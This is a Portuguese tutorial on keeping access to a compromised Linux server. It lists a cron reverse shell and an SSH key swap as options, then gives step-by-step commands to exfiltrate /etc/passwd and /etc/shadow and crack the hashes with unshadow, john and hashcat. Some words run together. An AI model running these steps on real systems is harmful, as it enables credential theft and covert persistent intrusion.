Agora seu objetivo é criar uma persistência para que mesmo se você perder o shell, você não precise fazer toda a exploração novamente, você pode simplesmente usar seu método de persistência para recuperar o shell novamente.
Existem vários métodos para persistir em um ambiente Linux. como :
- Criar um usuário e usá-lo para fazer login sempre. Mas adicionar um novo usuário é muito barulhento e você pode ser pego e o usuário pode ser removido.
- Criando um cron job que é executado a cada _ minutos e executa um shell reverso, então sempre que você quiser voltar, basta iniciar um ouvinte e capturar o shell rerverso.
- Usando chaves SSH. você pode alterar a chave ssh pública do usuário root para o par de chaves SSH recém-criado. Para que você possa usar sua chave SSH privada sempre que quiser e entrar.
- A coleta de credenciais é como reunir muitas credenciais e encontrar um par que funcione. Pode ser necessário quebrar alguns hashes obtidos. Discutiremos essa técnica hoje.
Vamos fazer isso já!
Então comprometi um servidor Linux e de alguma forma fiz o escalonamento de privilégios e obtive acesso a todo o sistema de arquivos. Agora para manter meu acesso, farei uso do arquivo shadowe passwd.
Todo sistema tipo Unix tem /etc/passwdonde as senhas costumavam ser mantidas, mas agora apenas usuários podem ser encontrados lá. O /etc/shadowarquivo contém todas as senhas. Nosso plano é despejar esses 2 arquivos e quebrar o máximo de hashes que pudermos. Indiscutivelmente, quebrar o hash raiz é suficiente porque isso significaria acesso total como agora. Mas às vezes não é possível decifrar isso. Portanto, quebrar um hash de usuário também seria algo.
Podemos pegar manualmente os hashes e colocá-los um por um em uma ferramenta de quebra de hash como johnou hashcat. Mas aqui usarei uma ferramenta chamada unshadowpara mesclar o shadowarquivo e passwdo arquivo e alimentá-los em uma ferramenta de hash cracking para obter nomes de usuários e suas senhas quebradas lado a lado.
Passo 1: Despejando os Arquivos
Para despejar os arquivos /etc/passwde /etc/shadow, podemos fazer várias coisas. Por exemplo :
- Hospede um WebServer python no diretório /etc/ da máquina vítima. E então baixando os arquivos na máquina Attack com
wget
#Máquina de vítima
python3 -m http.server 13000
#Máquina de ataque
wget http://victim_ip/passwd
wget http://victim_ip/shadow
- Se obtivermos o shell com a
pwncat-csferramenta de John Hammond, podemos usar sua função de download.
ctrl+d para sair do shell
download /etc/passwd /mydirectory/passwd.txt
download /etc/shadow /mydirectory/shadow.txt
- Se você possui um shell meterpreter, você pode usar a função de download lá
meterpreter > baixar /etc/passwd /mydirectory/passwd.txt
meterpreter > baixar /etc/shadow /mydirectory/shadow.txt
Passo 2: Remova a sombra dos arquivos
Para remover a sombra ou simplesmente mesclar os 2 arquivos, usaremos a ferramenta integrada do Linuxunshadow
root @kali -> unshadow passwd.txt shadow.txt > unshadowed.txt
Etapa 3: crackear o arquivo sem sombra
Agora aqui podemos usar várias ferramentas para quebrar os hashes. Por exemplo :
- Use John para quebrar os hashes
root @kali -> john unshadowed.txt --wordlist= /usr/share /wordlists/rockyou .txt
- Use hashcat para quebrar os hashes
root@kali -> hashcat unshadowed.txt /usr/share/wordlists/rockyou.txt
- Use
colabcatum projeto de computação em nuvem do Google para quebrar os hashes. Para fazer isso, acesse o repositório do github https://github.com/someshkar/colabcat e clique no link para abri-lo. Então você só precisa alterar o Runtime paraGPUe clicar nos botões de execução para instalar, verificar a versão e comparar o Hashcat. Finalmente, você pode simplesmente importar sua lista de palavras na seção de lista de palavras e quebrá-las
Passo 4: Aproveite
Como você decifrou um ou mais hashes dos arquivos shadow, agora você pode acessar a máquina a qualquer momento usando esses hashes. É uma espécie de forma furtiva de persistência.








